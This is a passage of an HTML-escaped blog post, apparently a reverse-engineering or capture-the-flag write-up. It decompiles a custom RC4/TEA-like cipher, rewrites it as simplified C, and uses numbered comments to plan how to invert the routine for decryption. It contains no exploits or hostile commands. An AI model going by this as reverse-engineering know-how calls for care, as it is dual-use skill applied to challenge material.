style=\"color:#f92672\"\u003e=\u003c/span\u003e \u003cspan style=\"color:#ae81ff\"\u003e0x10\u003c/span\u003e\u003cspan style=\"color:#111\"\u003e;\u003c/span\u003e \u003cspan style=\"color:#75715e\"\u003e// static 4 output\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#75715e\"\u003e\u003c/span\u003e    \u003cspan style=\"color:#111\"\u003ev178\u003c/span\u003e \u003cspan style=\"color:#f92672\"\u003e=\u003c/span\u003e \u003cspan style=\"color:#111\"\u003efirst\u003c/span\u003e \u003cspan style=\"color:#f92672\"\u003e*\u003c/span\u003e \u003cspan style=\"color:#111\"\u003ev88\u003c/span\u003e\u003cspan style=\"color:#111\"\u003e;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e    \u003cspan style=\"color:#111\"\u003ev91\u003c/span\u003e \u003cspan style=\"color:#f92672\"\u003e=\u003c/span\u003e \u003cspan style=\"color:#f92672\"\u003e~\u003c/span\u003e\u003cspan style=\"color:#111\"\u003ev177\u003c/span\u003e\u003cspan style=\"color:#111\"\u003e;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e    \u003cspan style=\"color:#111\"\u003ev80\u003c/span\u003e \u003cspan style=\"color:#f92672\"\u003e=\u003c/span\u003e \u003cspan style=\"color:#111\"\u003ev91\u003c/span\u003e \u003cspan style=\"color:#f92672\"\u003e\u0026amp;\u003c/span\u003e \u003cspan style=\"color:#111\"\u003ev178\u003c/span\u003e\u003cspan style=\"color:#111\"\u003e;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e    \u003cspan style=\"color:#111\"\u003ev93\u003c/span\u003e \u003cspan style=\"color:#f92672\"\u003e=\u003c/span\u003e \u003cspan style=\"color:#f92672\"\u003e~\u003c/span\u003e\u003cspan style=\"color:#111\"\u003ev178\u003c/span\u003e\u003cspan style=\"color:#111\"\u003e;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e    \u003cspan style=\"color:#111\"\u003ev94\u003c/span\u003e \u003cspan style=\"color:#f92672\"\u003e=\u003c/span\u003e \u003cspan style=\"color:#111\"\u003ev93\u003c/span\u003e \u003cspan style=\"color:#f92672\"\u003e\u0026amp;\u003c/span\u003e \u003cspan style=\"color:#111\"\u003ev177\u003c/span\u003e\u003cspan style=\"color:#111\"\u003e;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e    \u003cspan style=\"color:#111\"\u003ev179\u003c/span\u003e \u003cspan style=\"color:#f92672\"\u003e=\u003c/span\u003e \u003cspan style=\"color:#111\"\u003ev94\u003c/span\u003e \u003cspan style=\"color:#f92672\"\u003e|\u003c/span\u003e \u003cspan style=\"color:#111\"\u003ev80\u003c/span\u003e\u003cspan style=\"color:#111\"\u003e;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e    \u003cspan style=\"color:#111\"\u003ev168\u003c/span\u003e \u003cspan style=\"color:#f92672\"\u003e+=\u003c/span\u003e  \u003cspan style=\"color:#ae81ff\"\u003e3284565212\u003c/span\u003e\u003cspan style=\"color:#111\"\u003e;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e    \u003cspan style=\"color:#111\"\u003ev180\u003c/span\u003e \u003cspan style=\"color:#f92672\"\u003e=\u003c/span\u003e \u003cspan style=\"color:#111\"\u003ev179\u003c/span\u003e \u003cspan style=\"color:#f92672\"\u003e+\u003c/span\u003e \u003cspan style=\"color:#111\"\u003efirst\u003c/span\u003e\u003cspan style=\"color:#111\"\u003e;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e    \u003cspan style=\"color:#111\"\u003ev96\u003c/span\u003e \u003cspan style=\"color:#f92672\"\u003e=\u003c/span\u003e \u003cspan style=\"color:#111\"\u003ev168\u003c/span\u003e \u003cspan style=\"color:#f92672\"\u003e/\u003c/span\u003e \u003cspan style=\"color:#ae81ff\"\u003e0x800LL\u003c/span\u003e\u003cspan style=\"color:#111\"\u003e;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e    \u003cspan style=\"color:#111\"\u003ev181\u003c/span\u003e \u003cspan style=\"color:#f92672\"\u003e=\u003c/span\u003e \u003cspan style=\"color:#ae81ff\"\u003e255LL\u003c/span\u003e \u003cspan style=\"color:#f92672\"\u003e\u0026amp;\u003c/span\u003e \u003cspan style=\"color:#111\"\u003ev96\u003c/span\u003e\u003cspan style=\"color:#111\"\u003e;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e    \u003cspan style=\"color:#111\"\u003ev182\u003c/span\u003e \u003cspan style=\"color:#f92672\"\u003e=\u003c/span\u003e \u003cspan style=\"color:#111\"\u003eS\u003c/span\u003e\u003cspan style=\"color:#111\"\u003e[\u003c/span\u003e\u003cspan style=\"color:#111\"\u003ev181\u003c/span\u003e\u003cspan style=\"color:#111\"\u003e]\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e    \u003cspan style=\"color:#111\"\u003ev183\u003c/span\u003e \u003cspan style=\"color:#f92672\"\u003e=\u003c/span\u003e \u003cspan style=\"color:#111\"\u003ev182\u003c/span\u003e \u003cspan style=\"color:#f92672\"\u003e+\u003c/span\u003e \u003cspan style=\"color:#111\"\u003ev168\u003c/span\u003e\u003cspan style=\"color:#111\"\u003e;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e    \u003cspan style=\"color:#111\"\u003ev98\u003c/span\u003e \u003cspan style=\"color:#f92672\"\u003e=\u003c/span\u003e \u003cspan style=\"color:#111\"\u003ev180\u003c/span\u003e \u003cspan style=\"color:#f92672\"\u003e^\u003c/span\u003e \u003cspan style=\"color:#111\"\u003ev183\u003c/span\u003e\u003cspan style=\"color:#111\"\u003e;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e    \u003cspan style=\"color:#111\"\u003esecond\u003c/span\u003e \u003cspan style=\"color:#f92672\"\u003e+=\u003c/span\u003e \u003cspan style=\"color:#111\"\u003ev98\u003c/span\u003e\u003cspan style=\"color:#111\"\u003e;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e    \u003cspan style=\"color:#111\"\u003ev185\u003c/span\u003e \u003cspan style=\"color:#f92672\"\u003e+=\u003c/span\u003e \u003cspan style=\"color:#ae81ff\"\u003e1uLL\u003c/span\u003e\u003cspan style=\"color:#111\"\u003e;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e  \u003cspan style=\"color:#111\"\u003e}\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e  \u003cspan style=\"color:#00a8c8\"\u003ewhile\u003c/span\u003e \u003cspan style=\"color:#111\"\u003e(\u003c/span\u003e \u003cspan style=\"color:#ae81ff\"\u003e0x478\u003c/span\u003e \u003cspan style=\"color:#f92672\"\u003e\u0026gt;=\u003c/span\u003e \u003cspan style=\"color:#111\"\u003ev185\u003c/span\u003e \u003cspan style=\"color:#111\"\u003e);\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003cp\u003enow as you can see, this is pretty good c decompilation, i can reverse it but i still used llm to turn it into a more simplified c version, so i can use it for scripting, the four static constants are used for multiplication and division, and since they are powers of 2, they are simplified to right and left shifts. it is also using \u003ccode\u003ev168\u003c/code\u003e to index into the state array, which is incremented by a constant value 0x9D175C01 (note that the addition overflows, and the result will be cut to fit 32bits).\u003c/p\u003e\n\u003cdiv class=\"highlight\"\u003e\u003cpre tabindex=\"0\" style=\"color:#272822;background-color:#fafafa;-moz-tab-size:4;-o-tab-size:4;tab-size:4;\"\u003e\u003ccode class=\"language-c\" data-lang=\"c\"\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#00a8c8\"\u003euint64_t\u003c/span\u003e \u003cspan style=\"color:#75af00\"\u003eenc\u003c/span\u003e\u003cspan style=\"color:#111\"\u003e(\u003c/span\u003e\u003cspan style=\"color:#00a8c8\"\u003euint32_t\u003c/span\u003e \u003cspan style=\"color:#f92672\"\u003e*\u003c/span\u003e\u003cspan style=\"color:#111\"\u003einput\u003c/span\u003e\u003cspan style=\"color:#111\"\u003e,\u003c/span\u003e \u003cspan style=\"color:#00a8c8\"\u003euint32_t\u003c/span\u003e \u003cspan style=\"color:#f92672\"\u003e*\u003c/span\u003e\u003cspan style=\"color:#111\"\u003ekey\u003c/span\u003e\u003cspan style=\"color:#111\"\u003e)\u003c/span\u003e \u003cspan style=\"color:#111\"\u003e{\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e    \u003cspan style=\"color:#00a8c8\"\u003euint32_t\u003c/span\u003e \u003cspan style=\"color:#111\"\u003eS\u003c/span\u003e\u003cspan style=\"color:#111\"\u003e[\u003c/span\u003e\u003cspan style=\"color:#ae81ff\"\u003e256\u003c/span\u003e\u003cspan style=\"color:#111\"\u003e];\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e    \u003cspan style=\"color:#00a8c8\"\u003euint32_t\u003c/span\u003e \u003cspan style=\"color:#111\"\u003efirst\u003c/span\u003e \u003cspan style=\"color:#f92672\"\u003e=\u003c/span\u003e \u003cspan style=\"color:#111\"\u003einput\u003c/span\u003e\u003cspan style=\"color:#111\"\u003e[\u003c/span\u003e\u003cspan style=\"color:#ae81ff\"\u003e0\u003c/span\u003e\u003cspan style=\"color:#111\"\u003e];\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e    \u003cspan style=\"color:#00a8c8\"\u003euint32_t\u003c/span\u003e \u003cspan style=\"color:#111\"\u003esecond\u003c/span\u003e \u003cspan style=\"color:#f92672\"\u003e=\u003c/span\u003e \u003cspan style=\"color:#111\"\u003einput\u003c/span\u003e\u003cspan style=\"color:#111\"\u003e[\u003c/span\u003e\u003cspan style=\"color:#ae81ff\"\u003e1\u003c/span\u003e\u003cspan style=\"color:#111\"\u003e];\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e    \u003cspan style=\"color:#00a8c8\"\u003euint32_t\u003c/span\u003e \u003cspan style=\"color:#111\"\u003ev168\u003c/span\u003e \u003cspan style=\"color:#f92672\"\u003e=\u003c/span\u003e \u003cspan style=\"color:#ae81ff\"\u003e0\u003c/span\u003e\u003cspan style=\"color:#111\"\u003e;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e    \u003cspan style=\"color:#00a8c8\"\u003euint64_t\u003c/span\u003e \u003cspan style=\"color:#111\"\u003ev185\u003c/span\u003e \u003cspan style=\"color:#f92672\"\u003e=\u003c/span\u003e \u003cspan style=\"color:#ae81ff\"\u003e0\u003c/span\u003e\u003cspan style=\"color:#111\"\u003e;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e    \u003cspan style=\"color:#75715e\"\u003e// Initialize S-box\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#75715e\"\u003e\u003c/span\u003e    \u003cspan style=\"color:#00a8c8\"\u003efor\u003c/span\u003e \u003cspan style=\"color:#111\"\u003e(\u003c/span\u003e\u003cspan style=\"color:#00a8c8\"\u003eint\u003c/span\u003e \u003cspan style=\"color:#111\"\u003ei\u003c/span\u003e \u003cspan style=\"color:#f92672\"\u003e=\u003c/span\u003e \u003cspan style=\"color:#ae81ff\"\u003e0\u003c/span\u003e\u003cspan style=\"color:#111\"\u003e;\u003c/span\u003e \u003cspan style=\"color:#111\"\u003ei\u003c/span\u003e \u003cspan style=\"color:#f92672\"\u003e\u0026lt;=\u003c/span\u003e \u003cspan style=\"color:#ae81ff\"\u003e255\u003c/span\u003e\u003cspan style=\"color:#111\"\u003e;\u003c/span\u003e \u003cspan style=\"color:#f92672\"\u003e++\u003c/span\u003e\u003cspan style=\"color:#111\"\u003ei\u003c/span\u003e\u003cspan style=\"color:#111\"\u003e)\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e        \u003cspan style=\"color:#111\"\u003eS\u003c/span\u003e\u003cspan style=\"color:#111\"\u003e[\u003c/span\u003e\u003cspan style=\"color:#111\"\u003ei\u003c/span\u003e\u003cspan style=\"color:#111\"\u003e]\u003c/span\u003e \u003cspan style=\"color:#f92672\"\u003e=\u003c/span\u003e \u003cspan style=\"color:#111\"\u003ei\u003c/span\u003e\u003cspan style=\"color:#111\"\u003e;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e    \u003cspan style=\"color:#75715e\"\u003e// RC4-style key scheduling\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#75715e\"\u003e\u003c/span\u003e    \u003cspan style=\"color:#00a8c8\"\u003euint32_t\u003c/span\u003e \u003cspan style=\"color:#111\"\u003ev170\u003c/span\u003e \u003cspan style=\"color:#f92672\"\u003e=\u003c/span\u003e \u003cspan style=\"color:#ae81ff\"\u003e0\u003c/span\u003e\u003cspan style=\"color:#111\"\u003e,\u003c/span\u003e \u003cspan style=\"color:#111\"\u003ev171\u003c/span\u003e \u003cspan style=\"color:#f92672\"\u003e=\u003c/span\u003e \u003cspan style=\"color:#ae81ff\"\u003e0\u003c/span\u003e\u003cspan style=\"color:#111\"\u003e;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e    \u003cspan style=\"color:#00a8c8\"\u003efor\u003c/span\u003e \u003cspan style=\"color:#111\"\u003e(\u003c/span\u003e\u003cspan style=\"color:#00a8c8\"\u003eint\u003c/span\u003e \u003cspan style=\"color:#111\"\u003ei\u003c/span\u003e \u003cspan style=\"color:#f92672\"\u003e=\u003c/span\u003e \u003cspan style=\"color:#ae81ff\"\u003e0\u003c/span\u003e\u003cspan style=\"color:#111\"\u003e;\u003c/span\u003e \u003cspan style=\"color:#111\"\u003ei\u003c/span\u003e \u003cspan style=\"color:#f92672\"\u003e\u0026lt;=\u003c/span\u003e \u003cspan style=\"color:#ae81ff\"\u003e255\u003c/span\u003e\u003cspan style=\"color:#111\"\u003e;\u003c/span\u003e \u003cspan style=\"color:#f92672\"\u003e++\u003c/span\u003e\u003cspan style=\"color:#111\"\u003ei\u003c/span\u003e\u003cspan style=\"color:#111\"\u003e)\u003c/span\u003e \u003cspan style=\"color:#111\"\u003e{\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e        \u003cspan style=\"color:#00a8c8\"\u003euint32_t\u003c/span\u003e \u003cspan style=\"color:#111\"\u003ev184\u003c/span\u003e \u003cspan style=\"color:#f92672\"\u003e=\u003c/span\u003e \u003cspan style=\"color:#111\"\u003eS\u003c/span\u003e\u003cspan style=\"color:#111\"\u003e[\u003c/span\u003e\u003cspan style=\"color:#111\"\u003ei\u003c/span\u003e\u003cspan style=\"color:#111\"\u003e];\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e        \u003cspan style=\"color:#111\"\u003ev170\u003c/span\u003e \u003cspan style=\"color:#f92672\"\u003e=\u003c/span\u003e \u003cspan style=\"color:#111\"\u003e(\u003c/span\u003e\u003cspan style=\"color:#111\"\u003ev184\u003c/span\u003e \u003cspan style=\"color:#f92672\"\u003e+\u003c/span\u003e \u003cspan style=\"color:#111\"\u003ev170\u003c/span\u003e \u003cspan style=\"color:#f92672\"\u003e+\u003c/span\u003e \u003cspan style=\"color:#111\"\u003ekey\u003c/span\u003e\u003cspan style=\"color:#111\"\u003e[\u003c/span\u003e\u003cspan style=\"color:#111\"\u003ev171\u003c/span\u003e\u003cspan style=\"color:#111\"\u003e])\u003c/span\u003e \u003cspan style=\"color:#f92672\"\u003e\u0026amp;\u003c/span\u003e \u003cspan style=\"color:#ae81ff\"\u003e0xFF\u003c/span\u003e\u003cspan style=\"color:#111\"\u003e;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e        \u003cspan style=\"color:#00a8c8\"\u003euint32_t\u003c/span\u003e \u003cspan style=\"color:#111\"\u003etmp\u003c/span\u003e \u003cspan style=\"color:#f92672\"\u003e=\u003c/span\u003e \u003cspan style=\"color:#111\"\u003eS\u003c/span\u003e\u003cspan style=\"color:#111\"\u003e[\u003c/span\u003e\u003cspan style=\"color:#111\"\u003ei\u003c/span\u003e\u003cspan style=\"color:#111\"\u003e];\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e        \u003cspan style=\"color:#111\"\u003eS\u003c/span\u003e\u003cspan style=\"color:#111\"\u003e[\u003c/span\u003e\u003cspan style=\"color:#111\"\u003ei\u003c/span\u003e\u003cspan style=\"color:#111\"\u003e]\u003c/span\u003e \u003cspan style=\"color:#f92672\"\u003e=\u003c/span\u003e \u003cspan style=\"color:#111\"\u003eS\u003c/span\u003e\u003cspan style=\"color:#111\"\u003e[\u003c/span\u003e\u003cspan style=\"color:#111\"\u003ev170\u003c/span\u003e\u003cspan style=\"color:#111\"\u003e];\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e        \u003cspan style=\"color:#111\"\u003eS\u003c/span\u003e\u003cspan style=\"color:#111\"\u003e[\u003c/span\u003e\u003cspan style=\"color:#111\"\u003ev170\u003c/span\u003e\u003cspan style=\"color:#111\"\u003e]\u003c/span\u003e \u003cspan style=\"color:#f92672\"\u003e=\u003c/span\u003e \u003cspan style=\"color:#111\"\u003etmp\u003c/span\u003e\u003cspan style=\"color:#111\"\u003e;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e        \u003cspan style=\"color:#00a8c8\"\u003eif\u003c/span\u003e \u003cspan style=\"color:#111\"\u003e(\u003c/span\u003e\u003cspan style=\"color:#f92672\"\u003e++\u003c/span\u003e\u003cspan style=\"color:#111\"\u003ev171\u003c/span\u003e \u003cspan style=\"color:#f92672\"\u003e\u0026gt;\u003c/span\u003e \u003cspan style=\"color:#ae81ff\"\u003e3\u003c/span\u003e\u003cspan style=\"color:#111\"\u003e)\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e            \u003cspan style=\"color:#111\"\u003ev171\u003c/span\u003e \u003cspan style=\"color:#f92672\"\u003e=\u003c/span\u003e \u003cspan style=\"color:#ae81ff\"\u003e0\u003c/span\u003e\u003cspan style=\"color:#111\"\u003e;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e    \u003cspan style=\"color:#111\"\u003e}\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e    \u003cspan style=\"color:#00a8c8\"\u003edo\u003c/span\u003e \u003cspan style=\"color:#111\"\u003e{\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e        \u003cspan style=\"color:#00a8c8\"\u003euint32_t\u003c/span\u003e \u003cspan style=\"color:#111\"\u003ev172\u003c/span\u003e \u003cspan style=\"color:#f92672\"\u003e=\u003c/span\u003e \u003cspan style=\"color:#111\"\u003ev168\u003c/span\u003e \u003cspan style=\"color:#f92672\"\u003e\u0026amp;\u003c/span\u003e \u003cspan style=\"color:#ae81ff\"\u003e3\u003c/span\u003e\u003cspan style=\"color:#111\"\u003e;\u003c/span\u003e \u003cspan style=\"color:#75715e\"\u003e// 7. we can get this after decrementig v168 by the constant\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#75715e\"\u003e\u003c/span\u003e        \u003cspan style=\"color:#00a8c8\"\u003euint32_t\u003c/span\u003e \u003cspan style=\"color:#111\"\u003ev175\u003c/span\u003e \u003cspan style=\"color:#f92672\"\u003e=\u003c/span\u003e \u003cspan style=\"color:#111\"\u003e(\u003c/span\u003e\u003cspan style=\"color:#111\"\u003eS\u003c/span\u003e\u003cspan style=\"color:#111\"\u003e[\u003c/span\u003e\u003cspan style=\"color:#111\"\u003ev172\u003c/span\u003e\u003cspan style=\"color:#111\"\u003e]\u003c/span\u003e \u003cspan style=\"color:#f92672\"\u003e+\u003c/span\u003e \u003cspan style=\"color:#111\"\u003ev168\u003c/span\u003e\u003cspan style=\"color:#111\"\u003e);\u003c/span\u003e \u003cspan style=\"color:#75715e\"\u003e// 8. obviously we got this\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#75715e\"\u003e\u003c/span\u003e        \u003cspan style=\"color:#00a8c8\"\u003euint32_t\u003c/span\u003e \u003cspan style=\"color:#111\"\u003ev176\u003c/span\u003e \u003cspan style=\"color:#f92672\"\u003e=\u003c/span\u003e \u003cspan style=\"color:#111\"\u003e((\u003c/span\u003e\u003cspan style=\"color:#111\"\u003esecond\u003c/span\u003e \u003cspan style=\"color:#f92672\"\u003e\u0026lt;\u0026lt;\u003c/span\u003e \u003cspan style=\"color:#ae81ff\"\u003e3\u003c/span\u003e\u003cspan style=\"color:#111\"\u003e)\u003c/span\u003e \u003cspan style=\"color:#f92672\"\u003e^\u003c/span\u003e \u003cspan style=\"color:#111\"\u003e(\u003c/span\u003e\u003cspan style=\"color:#111\"\u003esecond\u003c/span\u003e \u003cspan style=\"color:#f92672\"\u003e\u0026gt;\u0026gt;\u003c/span\u003e \u003cspan style=\"color:#ae81ff\"\u003e3\u003c/span\u003e\u003cspan style=\"color:#111\"\u003e))\u003c/span\u003e \u003cspan style=\"color:#f92672\"\u003e+\u003c/span\u003e \u003cspan style=\"color:#111\"\u003esecond\u003c/span\u003e\u003cspan style=\"color:#111\"\u003e;\u003c/span\u003e \u003cspan style=\"color:#75715e\"\u003e// 9. this is using the second before encrypting it, which we decrypted in step 6\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#75715e\"\u003e\u003c/span\u003e        \u003cspan style=\"color:#111\"\u003efirst\u003c/span\u003e \u003cspan style=\"color:#f92672\"\u003e+=\u003c/span\u003e \u003cspan style=\"color:#111\"\u003ev175\u003c/span\u003e \u003cspan style=\"color:#f92672\"\u003e^\u003c/span\u003e \u003cspan style=\"color:#111\"\u003ev176\u003c/span\u003e\u003cspan style=\"color:#111\"\u003e;\u003c/span\u003e  \u003cspan style=\"color:#75715e\"\u003e// 10. this we can get since.\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#75715e\"\u003e\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e        \u003cspan style=\"color:#75715e\"\u003e// Second part operations\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#75715e\"\u003e\u003c/span\u003e        \u003cspan style=\"color:#00a8c8\"\u003euint32_t\u003c/span\u003e \u003cspan style=\"color:#111\"\u003ev179\u003c/span\u003e \u003cspan style=\"color:#f92672\"\u003e=\u003c/span\u003e \u003cspan style=\"color:#111\"\u003e(\u003c/span\u003e\u003cspan style=\"color:#111\"\u003efirst\u003c/span\u003e \u003cspan style=\"color:#f92672\"\u003e\u0026gt;\u0026gt;\u003c/span\u003e \u003cspan style=\"color:#ae81ff\"\u003e5\u003c/span\u003e\u003cspan style=\"color:#111\"\u003e)\u003c/span\u003e \u003cspan style=\"color:#f92672\"\u003e^\u003c/span\u003e \u003cspan style=\"color:#111\"\u003e(\u003c/span\u003e\u003cspan style=\"color:#111\"\u003efirst\u003c/span\u003e \u003cspan style=\"color:#f92672\"\u003e\u0026lt;\u0026lt;\u003c/span\u003e \u003cspan style=\"color:#ae81ff\"\u003e4\u003c/span\u003e\u003cspan style=\"color:#111\"\u003e);\u003c/span\u003e \u003cspan style=\"color:#75715e\"\u003e// 5. v179 we have since it\u0026#39;s using the first after it is incremented (it\u0026#39;s using the encrypted first)\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#75715e\"\u003e\u003c/span\u003e        \u003cspan style=\"color:#111\"\u003ev168\u003c/span\u003e \u003cspan style=\"color:#f92672\"\u003e+=\u003c/span\u003e \u003cspan style=\"color:#ae81ff\"\u003e0x9D175C01U\u003c/span\u003e\u003cspan style=\"color:#111\"\u003e;\u003c/span\u003e  \u003cspan style=\"color:#75715e\"\u003e// Constant increment\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#75715e\"\u003e\u003c/span\u003e        \u003cspan style=\"color:#00a8c8\"\u003euint32_t\u003c/span\u003e \u003cspan style=\"color:#111\"\u003ev180\u003c/span\u003e \u003cspan style=\"color:#f92672\"\u003e=\u003c/span\u003e \u003cspan style=\"color:#111\"\u003ev179\u003c/span\u003e \u003cspan style=\"color:#f92672\"\u003e+\u003c/span\u003e \u003cspan style=\"color:#111\"\u003efirst\u003c/span\u003e\u003cspan style=\"color:#111\"\u003e;\u003c/span\u003e \u003cspan style=\"color:#75715e\"\u003e// 6. since we have this we can get the decrypted value of second (by subtracting the xor result)\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#75715e\"\u003e\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e        \u003cspan style=\"color:#75715e\"\u003e// Final operations\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#75715e\"\u003e\u003c/span\u003e        \u003cspan style=\"color:#00a8c8\"\u003euint32_t\u003c/span\u003e \u003cspan style=\"color:#111\"\u003ev181\u003c/span\u003e \u003cspan style=\"color:#f92672\"\u003e=\u003c/span\u003e \u003cspan style=\"color:#111\"\u003e(\u003c/span\u003e\u003cspan style=\"color:#111\"\u003ev168\u003c/span\u003e \u003cspan style=\"color:#f92672\"\u003e\u0026gt;\u0026gt;\u003c/span\u003e \u003cspan style=\"color:#ae81ff\"\u003e11\u003c/span\u003e\u003cspan style=\"color:#111\"\u003e)\u003c/span\u003e \u003cspan style=\"color:#f92672\"\u003e\u0026amp;\u003c/span\u003e \u003cspan style=\"color:#ae81ff\"\u003e0xFF\u003c/span\u003e\u003cspan style=\"color:#111\"\u003e;\u003c/span\u003e \u003cspan style=\"color:#75715e\"\u003e// 2. we have this value since we have v168\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#75715e\"\u003e\u003c/span\u003e        \u003cspan style=\"color:#00a8c8\"\u003euint32_t\u003c/span\u003e \u003cspan style=\"color:#111\"\u003ev183\u003c/span\u003e \u003cspan style=\"color:#f92672\"\u003e=\u003c/span\u003e \u003cspan style=\"color:#111\"\u003eS\u003c/span\u003e\u003cspan style=\"color:#111\"\u003e[\u003c/span\u003e\u003cspan style=\"color:#111\"\u003ev181\u003c/span\u003e\u003cspan style=\"color:#111\"\u003e]\u003c/span\u003e \u003cspan style=\"color:#f92672\"\u003e+\u003c/span\u003e \u003cspan style=\"color:#111\"\u003ev168\u003c/span\u003e\u003cspan 